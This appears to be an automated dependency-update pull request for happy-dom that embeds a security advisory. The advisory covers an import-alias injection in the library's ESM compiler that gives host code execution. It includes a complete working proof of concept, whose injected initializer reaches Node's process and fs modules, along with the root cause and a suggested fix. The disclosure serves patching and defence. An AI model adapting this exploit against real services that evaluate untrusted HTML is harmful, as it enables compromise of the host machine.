Pull request #757 · stacks/besting

[!NOTE] This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
happy-dom	`^20.0.2` → `^20.14.6`

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

happy-dom@17.0.0
happy-dom@20.0.0
happy-dom@20.1.0
happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions

JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
Attacker-controlled HTML or module source is processed by Happy DOM.
This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.

Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create `package.json`

{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Create `dep.json`

{}

3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Create `poc.mjs`

import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Run the control test

npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC

node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF

Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record

Testing date: 2026-09-17
Duplicate check updated: 2026-09-20
Platform: Windows 11
Node.js: 24.14.1
Latest tested package: happy-dom@20.14.5
Source tag: v20.14.5
Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
First confirmed affected version: 17.0.0
Confirmed unaffected version: 16.8.1
Docker environment: Node 24 Alpine
No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

capricorn86/happy-dom (happy-dom)

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

Details

Summary

Confirmed affected versions

Preconditions

Technical details

Proof of concept

1. Create package.json

2. Create dep.json

3. Create payload.mjs

4. Create poc.mjs

5. Run the control test

6. Run the Happy DOM PoC

Impact

Relationship to CVE-2026-33943

Suggested fix

Verification record

Severity

References

Release Notes

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1. Create `package.json`

2. Create `dep.json`

3. Create `payload.mjs`

4. Create `poc.mjs`